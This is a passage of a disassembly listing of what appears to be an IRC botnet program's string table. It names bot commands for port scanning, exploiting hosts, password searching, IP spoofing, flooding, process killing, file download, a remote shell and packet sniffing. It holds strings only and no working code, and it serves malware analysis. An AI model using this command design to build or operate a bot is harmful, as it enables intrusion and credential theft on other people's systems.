DATA XREF: sub_401CC7+1ADFo ; char aRloginserver[] aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401CC7+1AF4o align 4 ; char aRlogin[] aRlogin db 'rlogin',0 ; DATA XREF: sub_401CC7+1B09o align 4 ; char asc_440ED4[] asc_440ED4 db '-' ; DATA XREF: sub_401CC7+2396o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_440F10 db 2Dh ; - ; DATA XREF: sub_401CC7+2405o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToStar_5 db '- Failed to start server thread, error: <%d>.',0 align 4 ; char aHttpserver[] aHttpserver db 'httpserver',0 ; DATA XREF: sub_401CC7+1B1Eo align 4 ; char aHttp[] aHttp db 'http',0 ; DATA XREF: sub_401CC7+1B33o align 10h ; char asc_440F60[] asc_440F60 db '-' ; DATA XREF: sub_401CC7+2245o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 ; char asc_440F9C[] asc_440F9C db '-' ; DATA XREF: sub_401CC7+22B0o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToStar_6 db ' Failed to start server thread, error: <%d>.',0 align 4 ; char aTftpserver[] aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401CC7+1B48o align 4 ; char aTftp[] aTftp db 'tftp',0 ; DATA XREF: sub_401CC7+1B5Do align 4 unk_440FEC db 2Dh ; - ; DATA XREF: sub_401CC7+201Ao db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_0 db ' Already running.',0 align 4 ; char asc_44100C[] asc_44100C db '-' ; DATA XREF: sub_401CC7+20CFo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 10h unk_441040 db 2Dh ; - ; DATA XREF: sub_401CC7+213Eo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToStar_7 db ' Failed to start server thread, error: <%d>.',0 align 4 ; char aCrash[] aCrash db 'crash',0 ; DATA XREF: sub_401CC7+1B72o align 4 ; char asc_441084[] asc_441084 db '-' ; DATA XREF: sub_401CC7+1B88o db 3, 34h, 2 dd 6E69616Dh, 202D0302h, 73617243h, 676E6968h, 746F6220h dd 2Eh aCrash_0 db 'crash',0 ; DATA XREF: sub_401CC7+1BC2o align 4 ; char aScanall[] aScanall db 'scanall',0 ; DATA XREF: sub_401CC7+1BD8o ; char aSa[] aSa db 'sa',0 ; DATA XREF: sub_401CC7+1BEDo align 4 ; char asc_4410B4[] asc_4410B4 db '-' ; DATA XREF: sub_401CC7+1D5Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0 unk_4410F4 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_403CCBo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToStar_8 db '- Failed to start scan, port is invalid.',0 align 4 aRandom db 'Random',0 ; DATA XREF: sub_401CC7+1F11o align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401CC7+1F18o align 10h ; char asc_441140[] asc_441140 db '-' ; DATA XREF: sub_401CC7+1F43o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 ; char asc_4411AC[] asc_4411AC db '-' ; DATA XREF: sub_401CC7+1FB4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToStar_9 db '- Failed to start scan thread, error: <%d>.',0 align 4 ; char aPhonehome[] aPhonehome db 'phonehome',0 ; DATA XREF: sub_401CC7+1C02o align 4 ; char aNoticeSPhoning[] aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+1C19o align 4 ; char aFindpass[] aFindpass db 'findpass',0 ; DATA XREF: sub_401CC7+1C2Co align 4 ; char aFp[] aFp db 'fp',0 ; DATA XREF: sub_401CC7+1C3Do align 4 ; char asc_441228[] asc_441228 db '-' ; DATA XREF: sub_401CC7+1C86o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 unk_441250 db 2Dh ; - ; DATA XREF: sub_401CC7+1D00o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start search thread, error: <%d>.',0 ; char aSpoof[] aSpoof db 'spoof',0 ; DATA XREF: sub_401CC7+19DCo align 4 ; char Str2[] Str2 db 'off',0 ; DATA XREF: sub_401CC7+19F3o ; char asc_441298[] asc_441298 db '-' ; DATA XREF: sub_401CC7+1A0Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 ; char aGet_2[] aGet_2 db 'get',0 ; DATA XREF: sub_401CC7:loc_404C0Do unk_4412C4 db 2Dh ; - ; DATA XREF: sub_401CC7+2F68o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 ; char aD_D_D_[] aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401CC7+2FC1o align 4 unk_441308 db 2Dh ; - ; DATA XREF: sub_401CC7+2FD6o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurr_0 db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 10h unk_441340 db 2Dh ; - ; DATA XREF: sub_401CC7+2FEAo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 ; char asc_441374[] asc_441374 db '-' ; DATA XREF: sub_401CC7+3008o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 10h ; char aExploit[] aExploit db 'exploit',0 ; DATA XREF: sub_401CC7+3022o ; char asc_4413A8[] asc_4413A8 db '-' ; DATA XREF: sub_401CC7+30A8o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 unk_4413D8 db 2Dh ; - ; DATA XREF: sub_401CC7+311Ao db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 ; char aReconnect_in[] aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401CC7+3125o align 4 ; char aRin[] aRin db 'rin',0 ; DATA XREF: sub_401CC7+313Ao ; char aQuitReconnec_1[] aQuitReconnec_1 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_409A82o align 4 ; char asc_441444[] asc_441444 db '-' ; DATA XREF: sub_401CC7+7DD3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 ; char aReconnect_in_m[] aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401CC7+314Fo ; char aRinms[] aRinms db 'rinms',0 ; DATA XREF: sub_401CC7+3164o align 4 ; char aQuitReconnec_0[] aQuitReconnec_0 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC7:loc_409A3Ao align 4 ; char asc_44149C[] asc_44149C db '-' ; DATA XREF: sub_401CC7+7D8Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 10h ; char aFlood[] aFlood db 'flood',0 ; DATA XREF: sub_401CC7+317Bo align 4 ; char aLoad[] aLoad db 'load',0 ; DATA XREF: sub_401CC7+31A4o align 10h ; char asc_4414D0[] asc_4414D0 db '-' ; DATA XREF: sub_401CC7+31FBo db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 4 ; char aPm_1[] aPm_1 db 'pm',0 ; DATA XREF: sub_401CC7+322Do align 10h ; char asc_441500[] asc_441500: ; DATA XREF: sub_401CC7+3248o unicode 0, < >,0 ; char a__7[] a__7: ; DATA XREF: sub_401CC7+324Do unicode 0, <_>,0 ; char aPrivmsgSS[] aPrivmsgSS db 'privmsg %s :%s',0 ; DATA XREF: sub_401CC7+327Co align 4 ; char aCt[] aCt db 'ct',0 ; DATA XREF: sub_401CC7+3299o align 4 ; char asc_44151C[] asc_44151C: ; DATA XREF: sub_401CC7+32B4o unicode 0, < >,0 ; char a_[] a_: ; DATA XREF: sub_401CC7+32B9o unicode 0, <_>,0 ; char aPrivmsgS[] aPrivmsgS db 'privmsg %s :' ; DATA XREF: sub_401CC7+32E8o dd 1732501h, 0 ; char aNt_1[] aNt_1 db 'nt',0 ; DATA XREF: sub_401CC7+3305o align 4 ; char asc_44153C[] asc_44153C: ; DATA XREF: sub_401CC7+3320o unicode 0, < >,0 ; char a__8[] a__8: ; DATA XREF: sub_401CC7+3325o unicode 0, <_>,0 ; char aNoticeSS_1[] aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401CC7+3354o align 4 ; char aMode[] aMode db 'mode',0 ; DATA XREF: sub_401CC7+3371o align 4 ; char asc_44155C[] asc_44155C: ; DATA XREF: sub_401CC7+338Co unicode 0, < >,0 ; char a__0[] a__0: ; DATA XREF: sub_401CC7+3391o unicode 0, <_>,0 ; char aModeSS[] aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401CC7+33C0o align 10h ; char aJoin[] aJoin db 'join',0 ; DATA XREF: sub_401CC7+33DDo align 4 ; char aJoinS[] aJoinS db 'join %s',0 ; DATA XREF: sub_401CC7+33FFo ; char aPart_1[] aPart_1 db 'part',0 ; DATA XREF: sub_401CC7+341Co align 4 ; char aPartS[] aPartS db 'part %s',0 ; DATA XREF: sub_401CC7+343Eo ; char aPartflood[] aPartflood db 'partflood',0 ; DATA XREF: sub_401CC7+345Bo align 4 ; char aPartSS[] aPartSS db 'part %s %s',0 ; DATA XREF: sub_401CC7+3482o align 4 ; char aPnick[] aPnick db 'pnick',0 ; DATA XREF: sub_401CC7+349Fo align 10h ; char aSI[] aSI db '%s%i',0 ; DATA XREF: sub_401CC7+34E0o align 4 ; char aNickS_0[] aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_401CC7+34FBo ; char aJoinPart[] aJoinPart db 'join/part',0 ; DATA XREF: sub_401CC7+3518o align 4 ; char aJoinS_0[] aJoinS_0 db 'join %s',0 ; DATA XREF: sub_401CC7+3546o ; char aPartSS_0[] aPartSS_0 db 'part %s %s',0 ; DATA XREF: sub_401CC7+3572o align 10h ; char aJoinS_1[] aJoinS_1 db 'join %s',0 ; DATA XREF: sub_401CC7+35A9o ; char aPartSS_1[] aPartSS_1 db 'part %s %s',0 ; DATA XREF: sub_401CC7+35E5o align 4 ; char aJoinS_2[] aJoinS_2 db 'join %s',0 ; DATA XREF: sub_401CC7+360Co ; char aPartSS_2[] aPartSS_2 db 'part %s %s',0 ; DATA XREF: sub_401CC7+3648o align 4 ; char aDcc[] aDcc db 'dcc',0 ; DATA XREF: sub_401CC7+3665o ; char aPrivmsgS_0[] aPrivmsgS_0 db 'PRIVMSG %s :' ; DATA XREF: sub_401CC7+36E2o dd 43434401h, 4E455320h, 64252044h, 2064252Eh, 25206425h dd 64252064h, 1 ; char aNick_0[] aNick_0 db 'nick',0 ; DATA XREF: sub_401CC7+36FFo align 4 ; char aJoinS_3[] aJoinS_3 db 'join %s',0 ; DATA XREF: sub_401CC7+3729o ; char aNickS_1[] aNickS_1 db 'NICK %s',0 ; DATA XREF: sub_401CC7+375Co ; char aNickS_2[] aNickS_2 db 'NICK %s',0 ; DATA XREF: sub_401CC7+37A0o ; char aNickS_3[] aNickS_3 db 'NICK %s',0 ; DATA XREF: sub_401CC7+37E4o ; char aChgnick[] aChgnick db 'chgnick',0 ; DATA XREF: sub_401CC7+3801o ; char aNickS_4[] aNickS_4 db 'NICK %s',0 ; DATA XREF: sub_401CC7+382Bo ; char aMsg[] aMsg db 'msg',0 ; DATA XREF: sub_401CC7+3848o ; char aJoinS_4[] aJoinS_4 db 'join %s',0 ; DATA XREF: sub_401CC7+3876o ; char aPrivmsgSS_0[] aPrivmsgSS_0 db 'privmsg %s :%s',0 ; DATA XREF: sub_401CC7+38A2o align 4 ; char aPrivmsgSS_1[] aPrivmsgSS_1 db 'privmsg %s :%s',0 ; DATA XREF: sub_401CC7+38DEo align 4 ; char aPrivmsgSS_2[] aPrivmsgSS_2 db 'privmsg %s :%s',0 ; DATA XREF: sub_401CC7+391Ao align 4 ; char aNotice_2[] aNotice_2 db 'notice',0 ; DATA XREF: sub_401CC7+3937o align 10h ; char aJoinS_5[] aJoinS_5 db 'join %s',0 ; DATA XREF: sub_401CC7+3965o ; char aNoticeSS_2[] aNoticeSS_2 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC7+3991o align 4 ; char aNoticeSS_3[] aNoticeSS_3 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC7+39CDo align 4 ; char aNoticeSS_4[] aNoticeSS_4 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC7+3A09o align 4 ; char aCtcp[] aCtcp db 'ctcp',0 ; DATA XREF: sub_401CC7+3A26o align 10h ; char aJoinS_6[] aJoinS_6 db 'join %s',0 ; DATA XREF: sub_401CC7+3A54o ; char aPrivmsgS_1[] aPrivmsgS_1 db 'PRIVMSG %s :' ; DATA XREF: sub_401CC7+3A7Bo dd 6E697001h, 167h ; char aPrivmsgS_2[] aPrivmsgS_2 db 'PRIVMSG %s :' ; DATA XREF: sub_401CC7+3AB2o dd 72657601h, 6E6F6973h, 1 ; char aPrivmsgS_3[] aPrivmsgS_3 db 'PRIVMSG %s :' ; DATA XREF: sub_401CC7+3AE9o dd 6E696601h, 1726567h, 0 ; char aPrivmsgS_4[] aPrivmsgS_4 db 'PRIVMSG %s :' ; DATA XREF: sub_401CC7+3B20o dd 6E696601h, 1726567h, 0 ; char aMix[] aMix db 'mix',0 ; DATA XREF: sub_401CC7+3B3Do ; char aJoinS_7[] aJoinS_7 db 'join %s',0 ; DATA XREF: sub_401CC7+3B6Bo ; char aPrivmsgS_5[] aPrivmsgS_5 db 'PRIVMSG %s :' ; DATA XREF: sub_401CC7+3B92o dd 6E697001h, 167h ; char aNoticeSS_5[] aNoticeSS_5 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC7+3BCEo align 4 ; char aPrivmsgSS_3[] aPrivmsgSS_3 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401CC7+3C0Ao align 4 ; char aNoticeSS_6[] aNoticeSS_6 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC7+3C46o align 4 ; char aRegister[] aRegister db 'register',0 ; DATA XREF: sub_401CC7+3C63o align 10h ; char aNickservRegist[] aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401CC7+3C8Co ; char aOff_0[] aOff_0 db 'off',0 ; DATA XREF: sub_401CC7+3CA9o unk_4417CC db 2Dh ; - ; DATA XREF: sub_401CC7+3CF0o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 ; char aNick_1[] aNick_1 db 'nick',0 ; DATA XREF: sub_401CC7+3D0Fo align 4 ; char aN[] aN: ; DATA XREF: sub_401CC7+3D24o unicode 0, <n>,0 ; char aNickS_7[] aNickS_7 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7D56o align 4 unk_44180C db 2Dh ; - ; DATA XREF: sub_401CC7+7D69o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 10h ; char aJoin_0[] aJoin_0 db 'join',0 ; DATA XREF: sub_401CC7+3D39o align 4 ; char aJ[] aJ: ; DATA XREF: sub_401CC7+3D4Eo unicode 0, <j>,0 ; char aJoinSS_3[] aJoinSS_3 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7D36o align 4 unk_44184C db 2Dh ; - ; DATA XREF: sub_401CC7+7D49o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: ',27h,'%s',27h,'.',0 align 10h ; char aPart_2[] aPart_2 db 'part',0 ; DATA XREF: sub_401CC7+3D63o align 4 ; char aPt[] aPt db 'pt',0 ; DATA XREF: sub_401CC7+3D78o align 4 ; char aPartS_2[] aPartS_2 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7D0Fo align 4 unk_441888 db 2Dh ; - ; DATA XREF: sub_401CC7+7D22o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 ; char aRaw[] aRaw db 'raw',0 ; DATA XREF: sub_401CC7+3D8Do ; char aR_2[] aR_2 db 'r',0 ; DATA XREF: sub_401CC7+3DA2o align 4 ; char aS_20[] aS_20 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7CF1o align 4 dword_4418BC dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401CC7+7D02o dd 2E732520h, 0 ; char aKillthread[] aKillthread db 'killthread',0 ; DATA XREF: sub_401CC7+3DB7o align 4 ; char aK[] aK: ; DATA XREF: sub_401CC7+3DCCo unicode 0, <k>,0 ; char aAll[] aAll db 'all',0 ; DATA XREF: sub_401CC7+7BD3o unk_4418EC db 2Dh ; - ; DATA XREF: sub_401CC7+7BEDo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 ; char asc_441914[] asc_441914 db '-' ; DATA XREF: sub_401CC7:loc_4098BEo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_44193C db 2Dh ; - ; DATA XREF: sub_401CC7+7C78o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 10h ; char asc_441960[] asc_441960 db '-' ; DATA XREF: sub_401CC7:loc_409946o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 4 ; char aC_quit[] aC_quit db 'c_quit',0 ; DATA XREF: sub_401CC7+3DE1o align 4 ; char aC_q[] aC_q db 'c_q',0 ; DATA XREF: sub_401CC7+3DF6o ; char aQuitLater_0[] aQuitLater_0 db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7B46o align 4 ; char aC_rndnick[] aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401CC7+3E0Bo align 4 ; char aC_rn[] aC_rn db 'c_rn',0 ; DATA XREF: sub_401CC7+3E20o align 4 ; char aNickS_6[] aNickS_6 db 'NICK %s',0 ; DATA XREF: sub_401CC7+7B03o aS_19 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7B18o align 4 ; char aPrefix[] aPrefix db 'prefix',0 ; DATA XREF: sub_401CC7+3E35o align 4 ; char aPr[] aPr db 'pr',0 ; DATA XREF: sub_401CC7+3E4Ao align 4 unk_4419D8 db 2Dh ; - ; DATA XREF: sub_401CC7+7ABAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 10h ; char aOpen[] aOpen db 'open',0 ; DATA XREF: sub_401CC7+3E5Fo align 4 ; char aO[] aO: ; DATA XREF: sub_401CC7+3E74o unicode 0, <o>,0 aOpen_1 db 'open',0 ; DATA XREF: sub_401CC7+7A84o align 4 unk_441A14 db 2Dh ; - ; DATA XREF: sub_401CC7+7A97o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_441A34 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_409768o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 ; char aServer_5[] aServer_5 db 'server',0 ; DATA XREF: sub_401CC7+3E89o align 10h ; char aSe[] aSe db 'se',0 ; DATA XREF: sub_401CC7+3E9Eo align 4 unk_441A64 db 2Dh ; - ; DATA XREF: sub_401CC7+7A73o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 ; char aDns[] aDns db 'dns',0 ; DATA XREF: sub_401CC7+3EB3o ; char aDn[] aDn db 'dn',0 ; DATA XREF: sub_401CC7+3EC8o align 4 ; char asc_441A94[] asc_441A94 db '-' ; DATA XREF: sub_401CC7+7A1Co db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_441AB4 db 2Dh ; - ; DATA XREF: sub_401CC7+7A4Fo db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS__0 db '- Lookup: %s -> %s.',0 align 4 unk_441AD4 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_40971Do db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 ; char aKillproc[] aKillproc db 'killproc',0 ; DATA XREF: sub_401CC7+3EDDo align 4 ; char aKp[] aKp db 'kp',0 ; DATA XREF: sub_401CC7+3EF2o align 4 unk_441B0C db 2Dh ; - ; DATA XREF: sub_401CC7+79DBo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_441B2C db 2Dh ; - ; DATA XREF: sub_401CC7:loc_4096ACo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 ; char aKill[] aKill db 'kill',0 ; DATA XREF: sub_401CC7+3F07o align 4 ; char aKi[] aKi db 'ki',0 ; DATA XREF: sub_401CC7+3F1Co align 4 unk_441B68 db 2Dh ; - ; DATA XREF: sub_401CC7+797Ao db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 ; char asc_441B8C[] asc_441B8C db '-' ; DATA XREF: sub_401CC7:loc_409648o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 ; char aDelete[] aDelete db 'delete',0 ; DATA XREF: sub_401CC7+3F31o align 4 ; char aDel[] aDel db 'del',0 ; DATA XREF: sub_401CC7+3F46o ; char asc_441BC8[] asc_441BC8 db '-' ; DATA XREF: sub_401CC7+793Ao db 3, 34h, 2 dd 656C6966h, 202D0302h, 656C6544h, 20646574h, 27732527h dd 2Eh dword_441BE4 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401CC7:loc_409616o ; char aGet_3[] aGet_3 db 'get',0 ; DATA XREF: sub_401CC7+3F5Bo ; char aGt[] aGt db 'gt',0 ; DATA XREF: sub_401CC7+3F70o align 4 ; char aS_33[] aS_33 db '%s',0 ; DATA XREF: sub_401CC7+7853o align 4 ; char asc_441BFC[] asc_441BFC db '-' ; DATA XREF: sub_401CC7+78ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 unk_441C20 db 2Dh ; - ; DATA XREF: sub_401CC7+791Ao db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_11 db '- Failed to start transfer thread, error: <%d>.',0 align 4 ; char aList[] aList db 'list',0 ; DATA XREF: sub_401CC7+3F85o align 4 ; char aLi[] aLi db 'li',0 ; DATA XREF: sub_401CC7+3F9Ao align 4 dword_441C68 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401CC7+782Eo dd 0 ; char aVisit[] aVisit db 'visit',0 ; DATA XREF: sub_401CC7+3FAFo align 4 ; char aV[] aV: ; DATA XREF: sub_401CC7+3FC4o unicode 0, <v>,0 ; char asc_441C8C[] asc_441C8C db '-' ; DATA XREF: sub_401CC7+778Eo db 3, 34h, 2 dd 69736976h, 2D030274h, 4C525520h, 7325203Ah, 2Eh ; char asc_441CA4[] asc_441CA4 db '-' ; DATA XREF: sub_401CC7+77FDo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToSta_12 db ' Failed to start connection thread, error: <%d>.',0 align 4 ; char aMirccmd[] aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401CC7+3FD9o ; char aMirc[] aMirc db 'mirc',0 ; DATA XREF: sub_401CC7+3FEEo align 4 unk_441CF4 db 2Dh ; - ; DATA XREF: sub_401CC7+7714o db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_441D14 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401CC7:loc_4093E2o dd 746E6573h, 2Eh ; char aCmd[] aCmd db 'cmd',0 ; DATA XREF: sub_401CC7+4003o ; char aCm[] aCm db 'cm',0 ; DATA XREF: sub_401CC7+4018o align 4 ; char asc_441D38[] asc_441D38 db 0Ah,0 ; DATA XREF: sub_401CC7+76A1o align 4 ; char asc_441D3C[] asc_441D3C db '-' ; DATA XREF: sub_401CC7+76B9o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 ; char asc_441D68[] asc_441D68 db '-' ; DATA XREF: sub_401CC7+76D8o db 3, 34h, 2 dd 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh, 732520h ; char aReadfile[] aReadfile db 'readfile',0 ; DATA XREF: sub_401CC7+402Do align 4 ; char aRf[] aRf db 'rf',0 ; DATA XREF: sub_401CC7+4042o align 10h ; char aR_0[] aR_0: ; DATA XREF: sub_401CC7:loc_4092CBo unicode 0, <r>,0 unk_441D94 db 2Dh ; - ; DATA XREF: sub_401CC7+766Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_441DB8 db 2Dh ; - ; DATA XREF: sub_401CC7+7677o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 4 ; char aPsniff[] aPsniff db 'psniff',0 ; DATA XREF: sub_401CC7+4057o align 4 ; char aOn[] aOn db 'on',0 ; DATA XREF: sub_401CC7+406Eo align 4 dword_441DE8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401CC7+408Eo aAlreadyRunni_1 db '- Already running.',0 align 4 ; char asc_441E08[] asc_441E08 db '-' ; DATA XREF: sub_401CC7+40F5o db 3, 34h, 2 dd 696E7370h, 3026666h aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_441E38 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401CC7+4164o aFailedToSta_13 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 ; char aOff[] aOff db 'off',0 ; DATA XREF: sub_401CC7+4171o dword_441E78 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401CC7+4194o aCarnivoreStopp 